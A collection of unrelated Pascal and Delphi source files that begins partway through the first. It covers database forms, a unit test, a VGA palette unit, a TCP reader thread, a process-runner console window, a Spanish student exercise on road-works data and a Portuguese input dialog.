if not TGlobal.DeltaIsNull(cdsLocateCar) then
begin
if TMsgDialog.ShowMsgDialog('数据未保存,是否保存!', mtConfirmation, [mebYes, mebNo], mebYes)= mrYes then
Result := false;
end
else
Result := True;
end;
procedure TLocateCarForm.DataCancel;
begin
if cdsLocateCar.Active then
begin
cdsLocateCar.CancelUpdates;
SetBtnState;
end;
end;
procedure TLocateCarForm.DataQuery;
var
vData: OleVariant;
sSQL, sErrMsg: WideString;
begin
try
sSQL := QuotedStr(sDept)+ ','+ QuotedStr('Q');
FNMServerObj.GetQueryData(vData, 'fnLocateCar', sSQL, sErrMsg);
if sErrMsg <> '' then
begin
TMsgDialog.ShowMsgDialog(sErrMsg, mtError);
Exit;
end;
cdsLocateCar.Data := vData[0];
if not cdsLocateCar.IsEmpty then
TGlobal.FillItemsFromDataSet(cdsLocateCar,'Location','','',cbbLocation.Items);
cdsLocateCar.EmptyDataSet;
cdsLocateCar.Data := vData[1];
if not cdsLocateCar.IsEmpty then
TGlobal.FillItemsFromDataSet(cdsLocateCar,'Car_NO','','',cbbCarNO.Items);
finally
SetBtnState;
end;
end;
procedure TLocateCarForm.DataSave;
var
sLocation, sCarNO:String;
sSQL, sErrMsg: WideString;
begin
try
//ShowMsg('', crHourGlass);
sLocation := cbbLocation.Text;
sCarNO := cbbCarNO.Text;
if (sCarNO='') or (sLocation= '') then Exit;
sSQL := QuotedStr(sDept)+ ','
+ QuotedStr('S')+ ','
+ QuotedStr(sLocation)+ ','
+ QuotedStr(sCarNO);
FNMServerObj.SaveDataBySQL('fnLocateCar', sSQL, sErrMsg);
if sErrMsg<>'' then
begin
TMsgDialog.ShowMsgDialog(sErrMsg, mtError);
Exit;
end;
cbbLocation.Items.Delete(cbbLocation.Items.IndexOf(sLocation));
cbbCarNO.Items.Delete(cbbCarNO.Items.IndexOf(sCarNO));
cbbLocation.Text := '';
cbbCarNO.Text := '';
Application.MessageBox('保存成功!','保存提示', MB_OK + MB_ICONINFORMATION);
finally
SetBtnState;
//ShowMsg('', crDefault);
end;
end;
procedure TLocateCarForm.SetBtnState;
begin
btnSave.Enabled := (cbbLocation.Text<>'') and (cbbCarNO.Text<>'');
end;
procedure TLocateCarForm.btnRefreshClick(Sender: TObject);
begin
DataQuery;
end;
procedure TLocateCarForm.UpdateActions;
begin
inherited;
SetBtnState;
end;
procedure TLocateCarForm.btnSaveClick(Sender: TObject);
begin
DataSave;
end;
procedure TLocateCarForm.cbbCarNOEnter(Sender: TObject);
begin
cbbCarNO.SelectAll;
end;
procedure TLocateCarForm.SpeedButton2Click(Sender: TObject);
begin
Close;
end;
end.
|
unit UnitDataMain;
interface
uses
System.SysUtils, System.Classes, FireDAC.Stan.Intf, FireDAC.Stan.Option,
FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def,
FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.Phys.SQLite,
FireDAC.Stan.ExprFuncs, FireDAC.FMXUI.Wait, FireDAC.Comp.UI, Data.DB,
FireDAC.Comp.Client, FireDAC.Stan.Param, FireDAC.DatS, FireDAC.DApt.Intf,
FireDAC.DApt, FireDAC.Comp.DataSet, FireDAC.Phys.SQLiteDef, Datasnap.DBClient,
FMX.ListView.Types;
type
TDataModuleMain = class(TDataModule)
FDConnectionMain: TFDConnection;
FDGUIxWaitCursor1: TFDGUIxWaitCursor;
FDQueryCreate: TFDQuery;
FDTableMaster: TFDTable;
cdsDetailCache: TClientDataSet;
procedure DataModuleCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure CreateTable;
procedure SetContent(aID: Integer; aContent: string);
function GetContent(aID: Integer): string;
procedure SetMark(aID: Integer; aMark: TAccessoryType);
function GetMark(aID: Integer): TAccessoryType;
end;
var
DataModuleMain: TDataModuleMain;
implementation
{%CLASSGROUP 'FMX.Controls.TControl'}
{$R *.dfm}
uses
System.IOUtils;
procedure TDataModuleMain.CreateTable;
begin
FDConnectionMain.ExecSQL('drop table book;', True);
FDConnectionMain.ExecSQL('create table book (ID integer, Title varchar(64));', True);
FDConnectionMain.ExecSQL('insert into book values (0,''Neverending Story'')', True);
FDConnectionMain.ExecSQL('insert into book values (1,''Book of Secrets'')', True);
FDConnectionMain.ExecSQL('insert into book values (2,''Cook Book'')', True);
FDConnectionMain.ExecSQL('insert into book values (3,''About Mice'')', True);
FDConnectionMain.ExecSQL('insert into book values (4,''Easy Parallel Programming'')', True);
FDConnectionMain.ExecSQL('insert into book values (5,''The Dome'')', True);
FDConnectionMain.ExecSQL('insert into book values (6,''Library System'')', True);
FDConnectionMain.ExecSQL('insert into book values (7,''Live long and prosper'')', True);
FDConnectionMain.ExecSQL('insert into book values (8,''Paint some more'')', True);
FDConnectionMain.ExecSQL('insert into book values (9,''Never less'')', True);
FDConnectionMain.ExecSQL('drop table detail;', True);
FDConnectionMain.ExecSQL('create table detail (ID integer, Content varchar(128));', True);
FDConnectionMain.ExecSQL('insert into detail values (0,''The story that never ends.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (1,''Music everywhere.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (2,''How to cook an egg in ten easy steps.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (3,''Mice, big and small.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (4,''Tasking parallel futures.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (5,''Bald and shiny.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (6,''Numerical lexicon.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (7,''To boldly go where no one has gone before.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (8,''Two strokes of luck.'')', True);
FDConnectionMain.ExecSQL('insert into detail values (9,''Or even more.'')', True);
end;
procedure TDataModuleMain.DataModuleCreate(Sender: TObject);
var
lDBFile: string;
i: Integer;
begin
lDBFile := TPath.Combine(TPath.GetDocumentsPath, 'LocalDB.sdb');
FDConnectionMain.Params.Clear;
FDConnectionMain.Params.Add('Database=' + lDBFile);
FDConnectionMain.Params.Add('LockingMode=Normal');
FDConnectionMain.Params.Add('DriverID=SQLite');
if FileExists(lDBFile) then
begin
FDConnectionMain.Open;
FDTableMaster.Open;
end
else
begin
FDConnectionMain.Open;
CreateTable;
FDTableMaster.Open;
end;
{Create local cache for memo}
cdsDetailCache.FieldDefs.Add('ID', ftInteger);
cdsDetailCache.FieldDefs.Add('Content', ftString, 128);
cdsDetailCache.FieldDefs.Add('Mark', ftInteger);
cdsDetailCache.CreateDataSet;
for I := 0 to 9 do
begin
cdsDetailCache.InsertRecord([I, 'Loading...', 0]);
end;
end;
function TDataModuleMain.GetContent(aID: Integer): string;
begin
if cdsDetailCache.Locate('ID', aID, []) then
Result := cdsDetailCache.FieldByName('Content').AsString
else
Result := 'No Content Available';
end;
function TDataModuleMain.GetMark(aID: Integer): TAccessoryType;
begin
if cdsDetailCache.Locate('ID', aID, []) then
Result := TAccessoryType(cdsDetailCache.FieldByName('Mark').AsInteger)
else
Result := TAccessoryType.More;
end;
procedure TDataModuleMain.SetContent(aID: Integer; aContent: string);
begin
if cdsDetailCache.Locate('ID', aID, []) then
begin
cdsDetailCache.Edit;
cdsDetailCache.FieldByName('Content').AsString := aContent;
cdsDetailCache.Post;
end;
end;
procedure TDataModuleMain.SetMark(aID: Integer; aMark: TAccessoryType);
begin
if cdsDetailCache.Locate('ID', aID, []) then
begin
cdsDetailCache.Edit;
cdsDetailCache.FieldByName('Mark').AsInteger := Integer(aMark);
cdsDetailCache.Post;
end;
end;
end.
|
unit ToStringFastTest;
{$mode objfpc}{$H+}
interface
uses
fpcunit,
testregistry,
SysUtils,
Math,
uEnums,
TestHelper,
uIntX;
type
{ TTestToStringFast }
TTestToStringFast = class(TTestCase)
private
F_length: integer;
const
StartLength = integer(1024);
LengthIncrement = integer(101);
RepeatCount = integer(10);
RandomStartLength = integer(1024);
RandomEndLength = integer(4000);
RandomRepeatCount = integer(10);
function GetAllNineChars(mlength: integer): string;
function GetRandomChars(): string;
procedure Inner();
procedure InnerTwo();
published
procedure CompareWithClassic();
procedure CompareWithClassicRandom();
protected
procedure SetUp; override;
end;
implementation
procedure TTestToStringFast.CompareWithClassic();
begin
TTestHelper.Repeater(RepeatCount, @Inner);
end;
procedure TTestToStringFast.CompareWithClassicRandom();
begin
TTestHelper.Repeater(RandomRepeatCount, @InnerTwo);
end;
function TTestToStringFast.GetAllNineChars(mlength: integer): string;
begin
Result := StringOfChar('9', mlength);
end;
function TTestToStringFast.GetRandomChars(): string;
var
mlength: integer;
builder: string;
begin
mlength := RandomRange(RandomStartLength, RandomEndLength);
builder := '';
builder := builder + IntToStr(RandomRange(1, 9));
Dec(mlength);
while mlength <> 0 do
begin
builder := builder + IntToStr(RandomRange(0, 9));
Dec(mlength);
end;
Result := builder;
end;
procedure TTestToStringFast.Inner();
var
str, strFast, strClassic: string;
x: TIntX;
begin
str := GetAllNineChars(F_length);
x := TIntX.Parse(str, TParseMode.pmFast);
x.Settings.ToStringMode := TToStringMode.tsmFast;
strFast := x.ToString();
x.Settings.ToStringMode := TToStringMode.tsmClassic;
strClassic := x.ToString();
AssertEquals(str, strFast);
AssertEquals(strFast, strClassic);
F_length := F_length + LengthIncrement;
end;
procedure TTestToStringFast.InnerTwo();
var
str, strFast, strClassic: string;
x: TIntX;
begin
str := GetRandomChars();
x := TIntX.Parse(str, TParseMode.pmFast);
x.Settings.ToStringMode := TToStringMode.tsmFast;
strFast := x.ToString();
x.Settings.ToStringMode := TToStringMode.tsmClassic;
strClassic := x.ToString();
AssertEquals(str, strFast);
AssertEquals(strFast, strClassic);
end;
procedure TTestToStringFast.SetUp;
begin
inherited SetUp;
F_length := StartLength;
Randomize;
end;
initialization
RegisterTest(TTestToStringFast);
end.
|
unit uPochasDates;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLabel, StdCtrls, Buttons, cxControls, cxContainer, cxEdit,
cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar;
type
TfrmPochasDates = class(TForm)
DateBegEdit: TcxDateEdit;
DateEndEdit: TcxDateEdit;
btnOk: TBitBtn;
btnCancel: TBitBtn;
cxLabel1: TcxLabel;
cxLabel2: TcxLabel;
procedure btnCancelClick(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
frmPochasDates: TfrmPochasDates;
implementation
{$R *.dfm}
procedure TfrmPochasDates.btnCancelClick(Sender: TObject);
begin
Close;
end;
procedure TfrmPochasDates.btnOkClick(Sender: TObject);
begin
ModalResult := mrOk;
end;
procedure TfrmPochasDates.FormCreate(Sender: TObject);
var
y, m, d: word;
begin
DecodeDate(now, y, m, d);
DateBegEdit.Date := EncodeDate(y, m, 1);
DateEndEdit.Date := EncodeDate(y, m + 1, 1) - 1;
end;
procedure TfrmPochasDates.FormShow(Sender: TObject);
begin
DateBegEdit.SetFocus;
end;
end.
|
Unit Palette;
Interface
Uses Crt,Dos;
Procedure CrtPal;
Procedure Pal(Col,R,G,B : Byte);
Procedure PalX(Col,R,G,B:Integer);
Procedure CrtFil(s:string);
Procedure LodFil(s:string);
Procedure GetPal(Col : Byte; Var R,G,B : Byte);
Procedure ReloadPalette;
Procedure FadeIn(del:Integer);
Procedure FadeOut(del:Integer);
Type pallette= Record
R,G,B:Integer;
end;
Var CB,INVER,PalR,PalG,PalB,Bright:Integer;
pll:array[0..255] of Pallette;
ff:file of byte;
bt:byte;
a,b,c,d:Integer;
rr,gg,bb:byte;
clr:Integer;
Implementation
Procedure GetPal(Col : Byte; Var R,G,B : Byte);
{ This gets the Red, Green and Blue values of a certain color }
Var rr,gg,bb : Byte;
Begin
asm
mov dx,3c7h
mov al,col
out dx,al
add dx,2
in al,dx
mov [rr],al
in al,dx
mov [gg],al
in al,dx
mov [bb],al
end;
r := rr;
g := gg;
b := bb;
end;
Procedure PalX(Col,R,G,B:Integer);
Var RR,GG,BB:Integer;
ro,re:Integer;
Begin
{
If R>63 then R:=63;
If G>63 then G:=63;
If B>63 then B:=63;
If R<0 then R:=0;
If G<0 then G:=0;
If B<0 then B:=0;
}
If CB=0 then begin
RR:=PalR+R+Bright;
If RR>63 then RR:=63;
If RR< 0 then RR:=0;
GG:=PalG+G+Bright;
If GG>63 then GG:=63;
If GG< 0 then GG:=0;
BB:=PalB+B+Bright;
If BB>63 then BB:=63;
If BB< 0 then BB:=0;
Pal(Col,RR,GG,BB);
If (Inver=1) and (col<>0) then Pal(Col,63-RR+bright,63-GG+bright,63-BB+bright);
end;
If CB=1 then begin
ro:=R+G+B+bright;
re:=ro div 3;
If Re>63 then Re:=63;
If Re< 0 then Re:=0;
Pal(Col,re,re,re);
If (Inver=1) and (col<>0) then Pal(Col,63-re+bright,63-re+bright,63-re+bright);
end;
If Clr>0 then begin
ro:=R+G+B;
ro:=ro div 3;
If Ro>63 then Ro:=63;
If Ro< 0 then Ro:=0;
If R<ro then R:=R+Clr;If R>ro then R:=R-Clr;
If G<ro then G:=G+Clr;If G>ro then G:=G-Clr;
If B<ro then B:=B+Clr;If B>ro then B:=B-Clr;
RR:=PalR+R+Bright;
If RR>63 then RR:=63;
If RR< 0 then RR:=0;
GG:=PalG+G+Bright;
If GG>63 then GG:=63;
If GG< 0 then GG:=0;
BB:=PalB+B+Bright;
If BB>63 then BB:=63;
If BB< 0 then BB:=0;
Pal(Col,RR,GG,BB);
end;
end;
Procedure Pal(Col,R,G,B : Byte);
{ This sets the Red, Green and Blue values of a certain color }
Begin
asm
mov dx,3c8h
mov al,[col]
out dx,al
inc dx
mov al,[r]
out dx,al
mov al,[g]
out dx,al
mov al,[b]
out dx,al
end;
End;
Procedure CrtPal;
Var a:integer;
Begin
Pal( 1,00,00,42);
Pal( 2,00,42,00);
Pal( 3,00,42,42);
Pal( 4,42,00,00);
Pal( 5,42,00,42);
Pal( 6,42,21,00);
Pal( 7,42,42,42);
Pal( 8,21,21,21);
Pal( 9,21,21,63);
Pal(10,21,63,21);
Pal(11,21,63,63);
Pal(12,63,21,21);
Pal(13,63,21,63);
Pal(14,63,63,21);
Pal(15,63,63,63);
For a:=16 to 255 do PalX(a,0,15,15);
For a:=0 to 15 do PalX(a+16 ,a*2,a*2,a*2);
For a:=0 to 15 do PalX(a+32 ,(a*2)+32,(a*2)+32,(a*2)+32);
PalX(0,0,0,0);
PalX(48,63,31,31);
PalX(49,63,39,31);
PalX(50,63,47,31);
PalX(51,63,55,31);
PalX(52,63,63,45);
PalX(53,63,58,45);
PalX(54,63,54,45);
PalX(55,63,49,45);
PalX(56,63,45,45);
For a:=1 to 7 do PalX(56+a,10+(a*6),0,35+(a*4));
For a:=0 to 15 do PalX( 64+a,(3*a)+13,0,0);
For a:=0 to 15 do PalX( 80+a,60,4*a,0);
For a:=0 to 15 do PalX( 96+a,a*4,a*2,0);
For a:=0 to 15 do PalX(112+a,0,(4*a)+3,0);
For a:=0 to 15 do PalX(128+a,a*3,a*3,a*3+8);
{For a:=0 to 15 do PalX(144+a,0,2*a,4*a+3);{}
{For a:=0 to 15 do PalX(144+a,3*a+6,3*a+6,4*a);{}
PalX(144,20,16,11);
PalX(145,27,21,15);
PalX(146,35,27,19);
PalX(147,38,30,25);
PalX(148,48,42,35);
For a:=8 to 15 do PalX(144+a,a*2,0,a*4);
For a:=0 to 7 do PalX(160+a,0,0,(a*6)+20);{}
PalX(168,12,12,63);
PalX(169,18,18,63);
PalX(170,25,25,63);
PalX(171,32,32,63);
PalX(172,39,39,63);
PalX(173,46,46,63);
PalX(174,53,53,63);
PalX(175,60,60,63);
PalX(176,63,53,0);
PalX(177,56,42,0);
PalX(178,50,33,0);
PalX(179,44,25,0);
PalX(180,36,20,0);
PalX(181,29,15,0);
PalX(182,22,11,0);
PalX(187,24,49,54);
PalX(188,14,40,48);
PalX(189,07,31,43);
PalX(190,02,25,39);
PalX(191,00,20,36);
{For a:=0 to 7 do PalX(176+a,a*3,a*3+8,a*3);
{For a:=8 to 15 do PalX(176+a,a*3+8,a*3,a*3);}
{For a:=0 to 7 do PalX(192+a,0,a*3+8,a*3);{}
For a:=8 to 15 do PalX(192+a,a*3+8,a*3,a*3+8);
For a:=0 to 7 do PalX(192+a,a*3+8,a*3+8,a*3);
PalX(210,00,10,10);
PalX(211,00,12,12);
PalX(212,01,14,15);
PalX(213,02,19,19);
PalX(214,05,23,24);
PalX(215,07,26,27);
PalX(216,11,30,31);
For a:=9 to 15 do PalX(208+a,0,28+5*(a-8),28+5*(a-8));
PalX(224,57,59,44);
PalX(225,50,55,38);
PalX(226,42,53,33);
PalX(227,34,49,29);
PalX(228,26,45,24);
PalX(229,20,42,23);
PalX(230,17,39,24);
PalX(231,13,35,23);
PalX(232,10,32,22);
PalX(233,08,29,22);
PalX(234,05,25,21);
PalX(235,03,22,20);
PalX(236,02,18,19);
PalX(237,01,13,15);
PalX(238,00,08,12);
PalX(239,00,05,09);
PalX(255,0,0,0);
end;
Procedure CrtFil(s:string);
Begin
Assign(ff,s);
Rewrite(ff);
For a:=0 to 255 do
Begin
Getpal(a,rr,gg,bb);
Write(ff,rr);
Write(ff,gg);
Write(ff,bb);
end;
Close(ff);
end;
Procedure LodFil(s:string);
Begin
Assign(ff,s);
Reset(ff);
For a:=0 to 255 do
Begin
Read(ff,rr);
Read(ff,gg);
Read(ff,bb);
PalX(a,rr,gg,bb);
pll[a].R:=rr;
pll[a].G:=gg;
pll[a].B:=bb;
end;
Close(ff);
end;
Procedure ReloadPalette;
Begin
Pal(0,0,0,0);
For a:=1 to 255 do
Begin
PalX(a,pll[a].R,pll[a].G,pll[a].B);
end;
end;
Procedure FadeIn(del:Integer);
Begin
For Bright:=0 to 70 do
Begin
CrtPal;
Delay(del);
end;
end;
Procedure FadeOut(del:Integer);
Begin
For Bright:=70 downto 0 do
Begin
CrtPal;
Delay(del);
end;
end;
Begin
{CrtPal;
CrtFil('Pal1.pal');{}
end.
{PalX(232,58,30,23);
PalX(233,57,26,17);
PalX(234,53,22,10);
PalX(235,49,16, 0);
PalX(236,41, 9, 0);
PalX(237,34, 5, 1);
PalX(238,31, 3, 0);
PalX(239,28, 0, 2);}
|
unit tcpThread;
{
TCP listening thread for incoming messages.
}
interface
uses
Classes, IdTCPClient;
type
TDataEvent = procedure(const Data: string) of object;
TTimeoutEvent = procedure() of object;
TReadingThread = class(TThread)
private
FClient: TIdTCPClient;
FData: string;
FOnData: TDataEvent;
FOnTimeout: TTimeoutEvent;
procedure DataReceived;
protected
procedure Execute; override;
public
constructor Create(AClient: TIdTCPClient); reintroduce;
property OnData: TDataEvent read FOnData write FOnData;
property OnTimeout: TTimeoutEvent read FOnTimeout write FOnTimeout;
end;
implementation
constructor TReadingThread.Create(AClient: TIdTCPClient);
begin
inherited Create(True);
FClient := AClient;
end;
procedure TReadingThread.Execute;
begin
while (not Terminated) do
begin
try
FData := FClient.IOHandler.ReadLn;
except
if ((Assigned(FOnTimeout)) and (not Terminated)) then
Synchronize(FOnTimeout);
Exit;
end;
if (FData <> '') and Assigned(FOnData) then
Synchronize(DataReceived);
end;
end;
procedure TReadingThread.DataReceived;
begin
if Assigned(FOnData) then
FOnData(FData);
end;
end.
|
unit FormProgRun;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, SynEdit, Forms, Controls, Graphics, Dialogs,
SynEditKeyCmds, process, ShellCtrls, ExtCtrls, LockedQueue, Pipes, config;
type
TStringQueue = specialize TLockedQueue<String>;
{ TRunThread }
TRunThread = class(TThread)
ReadingOutputActive: Boolean;
Node: TShellTreeNode;
procedure Execute; override;
procedure Print(Txt: String);
end;
{ TProcess2 }
TProcess2 = class(TProcess)
constructor Create(AOwner: TComponent; Path, Cmd: String; Args: array of String); reintroduce;
procedure EnvUpdate(key, Value: String);
end;
{ TFProgRun }
TFProgRun = class(TForm)
SynEdit1: TSynEdit;
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure HookOnOutputAvailable;
private
FProc: TProcess2;
FOutputQueue: TStringQueue;
FRunThread: TRunThread;
procedure AppendLine(Line: String);
public
procedure Run(Node: TShellTreeNode; Cmd: String; Args: array of string);
end;
var
FProgRun: TFProgRun;
implementation
uses
FormMain;
{$R *.lfm}
{ TRunThread }
procedure TRunThread.Execute;
var
P: TProcess;
Line: String;
ErrLine: String;
Procedure ReadAndPrintLines(var L: String; S: TInputPipeStream);
var
B: Char;
begin
while S.NumBytesAvailable > 0 do begin
B := Char(S.ReadByte);
if B = #10 then begin
Print(TrimRight(L));
L := '';
end
else begin
L += B;
end;
end;
end;
begin
P := FProgRun.FProc;
Line := '';
ErrLine := '';
repeat
if ReadingOutputActive then begin
ReadAndPrintLines(Line, P.Output);
ReadAndPrintLines(ErrLine, P.Stderr);
if (not P.Running) and (P.Output.NumBytesAvailable + P.Stderr.NumBytesAvailable = 0) then begin
Print('----');
ReadingOutputActive := False;
FMain.QueueForImmediateUpdate(Node);
end;
end;
Sleep(1);
until Terminated;
end;
procedure TRunThread.Print(Txt: String);
begin
FProgRun.FOutputQueue.Put(Txt);
end;
{ TProcess2 }
constructor TProcess2.Create(AOwner: TComponent; Path, Cmd: String; Args: array of String);
var
I: Integer;
A: String;
begin
inherited Create(AOwner);
CurrentDirectory := Path;
Options := [poNewProcessGroup];
Executable := cmd;
for A in args do begin
Parameters.Add(A);
end;
for I := 0 to GetEnvironmentVariableCount -1 do begin
Environment.Append(GetEnvironmentString(I));
end;
EnvUpdate('LANG', 'C');
EnvUpdate('GIT_TERMINAL_PROMPT', '0');
end;
procedure TProcess2.EnvUpdate(key, Value: String);
var
I: Integer;
begin
Key += '='{%H-};
for I := 0 to Environment.Count - 1 do begin
if Pos(Key, Environment[I]) = 1 then begin
Environment[I] := Key + Value;
Exit;
end;
end;
Environment.Append(Key + Value);
end;
{ TFProgRun }
procedure TFProgRun.FormCreate(Sender: TObject);
begin
FProc := TProcess2.Create(self, '', '', []);
FProc.Options := FProc.Options + [poUsePipes, poNoConsole];
FOutputQueue := TStringQueue.Create;
FOutputQueue.OnDataAvailable := @HookOnOutputAvailable;
FRunThread := TRunThread.Create(False);
Left := ConfigGetInt(cfConsoleWindowX);
Top := ConfigGetInt(cfConsoleWindowY);
Width := ConfigGetInt(cfConsoleWindowW);
Height := ConfigGetInt(cfConsoleWindowH);
end;
procedure TFProgRun.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
ConfigSetInt(cfConsoleWindowX, Left);
ConfigSetInt(cfConsoleWindowY, Top);
ConfigSetInt(cfConsoleWindowW, Width);
ConfigSetInt(cfConsoleWindowH, Height);
end;
procedure TFProgRun.FormDestroy(Sender: TObject);
begin
FRunThread.Terminate;
FRunThread.WaitFor;
FRunThread.Free;
FOutputQueue.Free;
end;
procedure TFProgRun.HookOnOutputAvailable;
var
Line: String;
begin
while not FOutputQueue.IsEmpty do begin
FOutputQueue.Get(Line);
AppendLine(Line);
end;
end;
procedure TFProgRun.AppendLine(Line: String);
begin
SynEdit1.Append(Line);
SynEdit1.ExecuteCommand(ecEditorBottom, #0, nil);
SynEdit1.ExecuteCommand(ecLineStart, #0, nil);
end;
procedure TFProgRun.Run(Node: TShellTreeNode; Cmd: String; Args: array of string);
var
A: String;
begin
if FRunThread.ReadingOutputActive then
exit;
if not Showing then
Show;
FProc.CurrentDirectory := Node.FullFilename;
FProc.Executable := Cmd;
FProc.Parameters.Clear;
for A in Args do begin
FProc.Parameters.Append(A);
end;
FRunThread.Node := Node;
FProc.Execute;
FRunThread.ReadingOutputActive := True;
end;
end.
|
{En la provincia de Buenos Aires se llevan a cabo N obras viales, cada una de ellas planificada en M tramos, no concluidos
aun (M igual para todas ellas).
Se conoce de cada empresa su nombre (cadena de 4 caracteres) y la cantidad tramos concluidos(menor que M y diferente para cada empresa)
y además la extensión en kms de cada uno de ellos (concluido o pendiente).
N = 4 M = 5
XXXX 2 50 40 60 80 50
BBBB 3 20 30 50 100 150
ZZZZ 4 40 60 70 90 80
TTTT 2 100 160 80 50 20
Se pide ingresar de un archivo de texto la información descripta para calcular e informar:
a)Nombre de la empresa con mayor extensión pendiente.
b)Para cada empresa listar su nombre y el % de extensión realizada con respecto al total de la obra.
c)Para un número de tramo dado, verificar si todas lo han concluido en dicho caso sumar todos los kms.
Respuestas:
a) BBBB 250
b) 90 * 100 / 280 = 32.14 %
100 * 100 / 350 = 28.57%
260 * 100 /340 = 76.47%
260 * 100 / 410 = 63.41%
c) Tramo = 2 -> 40 + 30 +60 + 160 = 290
Tramo = 3 -> No todas las empresas concluyeron con dicho tramo.
}
Program ObrasViales;
Type
St4 = string[4];
TM = array[1..100,1..100] of word;
TV = array[1..100] of St4;
TVC = array[1..100] of word;
TVR = array[1..100] of real;
Procedure LeerArchivo(Var Mat:TM; Var V:TV; Var VC:TVC; Var N,M:byte);
Var
i,j:byte;
arch:text;
begin
assign(arch,'ObrasViales.txt');reset(arch);
readln(arch,N,M);
For i:= 1 to N do
begin
read(arch,V[i],VC[i]);
For j:= 1 to M do
read(arch,Mat[i,j]);
readln(arch);
end;
close(arch);
end;
Procedure ImprimeArchivo(Mat:TM; V:TV; VC:TVC; N,M:byte);
Var
i,j:byte;
begin
For i:= 1 to N do
begin
write(V[i],' ',VC[i]);
For j:= 1 to M do
write(Mat[i,j]:4);
writeln;
end;
end;
Procedure TramoPendiente(Mat:TM; V:TV; VC:TVC; N,M:byte);
Var
i,j,PosMax:byte;
Max,Sum:word;
begin
Max:= 0;
For i:= 1 to N do
begin
Sum:= 0;
For j:= 1 to M do
begin
If (VC[i] < j) then
Sum:= Sum + Mat[i,j]
end;
If (Sum > Max) then
begin
Max:= Sum;
PosMax:= i;
end;
end;
writeln('A- La empresa con mayor tramo pendiente es: ',V[PosMax],' con ',Max);
end;
Function SumaTramo(Mat:TM; V:TV; VC:TVC; N,M:byte):word;
Var
j:byte;
SumT:word;
begin
SumT:= 0;
For j:= 1 to M do
begin
If (VC[N] >= j) then
SumT:= SumT + Mat[N,j]
end;
SumaTramo:= SumT;
end;
Function TotalEmpresa(Mat:TM; N,M:byte):word; // Esta OK
Var
i,j:byte;
Acum:word;
begin
For i:= 1 to N do
begin
Acum:= 0;
For j:= 1 to M do
Acum:= Acum + Mat[i,j];
end;
TotalEmpresa:= Acum;
end;
Procedure PorcentajePorFila(Mat:TM; V:TV; VC:TVC; N,M:byte; Var VPorc:TVR);
Var
i:byte;
begin
For i:= 1 to N do
begin
VPorc[i]:= SumaTramo(Mat,V,VC,i,M) * 100 / TotalEmpresa(Mat,i,M);
writeln(V[i],' ',VPorc[i]:6:2,' % ');
end;
end;
Procedure VerificaTramo(Mat:TM; V:TV; VC:TVC; N,M,Tramo:byte);
Var
i:byte;
SumT:word;
begin
SumT:= 0;
For i:= 1 to N do
begin
If (Tramo <= 2) then
SumT:= SumT + Mat[i,Tramo];
end;
If (SumT > 0) then
writeln('Tramo ',Tramo,' suma ',SumT,' tramos concluidos')
Else
writeln('No todas las empresas concluyeron el tramo');
end;
Var
Mat:TM;
V:TV;
VC:TVC;
VPorc:TVR;
N,M,Tramo:byte;
Begin
LeerArchivo(Mat,V,VC,N,M);
ImprimeArchivo(Mat,V,VC,N,M);
writeln;
TramoPendiente(Mat,V,VC,N,M);
writeln;
writeln('B- ');
PorcentajePorFila(Mat,V,VC,N,M,VPorc);
writeln;
writeln;
write('Ingrese un tramo (1 al 5) : ');readln(Tramo);
write('C- ');
VerificaTramo(Mat,V,VC,N,M,Tramo);
End.
|
function InputName(var Nome: string): boolean;
//
// cria uma caixa de dialogo para entrada de dados
//
// Esta função retorna true se for pressionado OK e false
// em caso contrário. Se for OK, o texto digitado pelo usuário
// será copiado para a variável Nome
//
// Exemplo:
//
// var
// S: string;
// begin
// if ObterNome(S) then
// Edit1.Text := S;
//
var
Form: TForm; { Variável para o Form }
Edt: TEdit; { Variável para o Edit }
begin
Result := false; { Por padrão retorna false }
{ Cria o form }
Form := TForm.Create(Application);
try
{ Altera algumas propriedades do Form }
Form.BorderStyle := bsDialog;
Form.Caption := 'Atenção';
Form.Position := poScreenCenter;
Form.Width := 200;
Form.Height := 150;
{ Coloca um Label }
with TLabel.Create(Form) do begin
Parent := Form;
Caption := 'Digite seu nome:';
Left := 10;
Top := 10;
end;
{ Coloca o Edit }
Edt := TEdit.Create(Form);
with Edt do begin
Parent := Form;
Left := 10;
Top := 25;
{ Ajusta o comprimento do Edit de acordo com a largura
do form }
Width := Form.ClientWidth - 20;
end;
{ Coloca o botão OK }
with TBitBtn.Create(Form) do begin
Parent := Form;
{ Posiciona de acordo com a largura do form }
Left := Form.ClientWidth - (Width * 2) - 20;
Top := 80;
Kind := bkOK; { Botão Ok }
end;
{ Coloca o botão Cancel }
with TBitBtn.Create(Form) do begin
Parent := Form;
Left := Form.ClientWidth - Width - 10;
Top := 80;
Kind := bkCancel; { Botão Cancel }
end;
{ Exibe o form e aguarda a ação do usuário. Se for OK... }
if Form.ShowModal = mrOK then begin
Nome := Edt.Text;
Result := true;
end;
finally
Form.Free;
end;
end;
|
{*****************************************************************************}
{ }
{ Tnt Delphi Unicode Controls }
{ http://www.tntware.com/delphicontrols/unicode/ }
{ Version: 2.3.0 }
{ }
{ Copyright (c) 2002-2007, Troy Wolbrink (troy.wolbrink@tntware.com) }
{ }
{*****************************************************************************}
unit UWideStrUtils;
{$INCLUDE UCompilers.inc}
interface
{ Wide string manipulation functions }
{$IFNDEF COMPILER_9_UP}
function WStrAlloc(Size: Cardinal): PWideChar;
